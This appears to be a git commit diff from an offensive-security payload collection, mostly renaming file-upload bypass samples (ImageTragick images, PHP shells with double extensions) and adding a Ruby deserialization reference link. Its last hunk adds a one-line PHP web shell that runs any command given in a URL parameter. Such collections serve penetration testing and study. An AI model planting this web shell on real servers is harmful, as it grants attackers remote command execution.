diff --git a/Insecure deserialization/Ruby.md b/Insecure deserialization/Ruby.md
index eed99c4..dd1c31c 100644
--- a/Insecure deserialization/Ruby.md	
+++ b/Insecure deserialization/Ruby.md	
@@ -8,4 +8,5 @@ for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1
 
 ## Thanks
 
-- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
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+- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
+- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online)
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diff --git a/Upload insecure files/Image Tragik 2/centos_id.jpeg b/Upload insecure files/Image Tragik 2/centos_id.jpg
similarity index 100%
rename from Upload insecure files/Image Tragik 2/centos_id.jpeg
rename to Upload insecure files/Image Tragik 2/centos_id.jpg
diff --git a/Upload insecure files/Image Tragik 2/ubuntu_id.jpeg b/Upload insecure files/Image Tragik 2/ubuntu_id.jpg
similarity index 100%
rename from Upload insecure files/Image Tragik 2/ubuntu_id.jpeg
rename to Upload insecure files/Image Tragik 2/ubuntu_id.jpg
diff --git a/Upload insecure files/Image Tragik 2/ubuntu_shell.jpeg b/Upload insecure files/Image Tragik 2/ubuntu_shell.jpg
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rename from Upload insecure files/Image Tragik 2/ubuntu_shell.jpeg
rename to Upload insecure files/Image Tragik 2/ubuntu_shell.jpg
diff --git a/Upload insecure files/PHP Extension/Shell.jpeg.php b/Upload insecure files/PHP Extension/shell.jpeg.php
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old mode 100755
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rename to Upload insecure files/PHP Extension/shell.jpg.php
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diff --git a/Upload insecure files/PHP Extension/Shell.pht b/Upload insecure files/PHP Extension/shell.phpt
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diff --git a/Upload insecure files/PHP Extension/Shell.phtml b/Upload insecure files/PHP Extension/shell.pht
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rename from Upload insecure files/PHP Extension/Shell.phtml
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diff --git a/Upload insecure files/PHP Extension/Shell.png.php b/Upload insecure files/PHP Extension/shell.phtml
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rename from Upload insecure files/PHP Extension/Shell.png.php
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diff --git a/Upload insecure files/PHP Extension/Shell.shtml b/Upload insecure files/PHP Extension/shell.png.php
similarity index 100%
rename from Upload insecure files/PHP Extension/Shell.shtml
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diff --git a/Upload insecure files/PHP Extension/shell.shtml b/Upload insecure files/PHP Extension/shell.shtml
new file mode 100755
index 0000000..b1abb37
--- /dev/null
+++ b/Upload insecure files/PHP Extension/shell.shtml	
@@ -0,0 +1 @@
+<?php echo "Shell";system($_GET['cmd']); ?>
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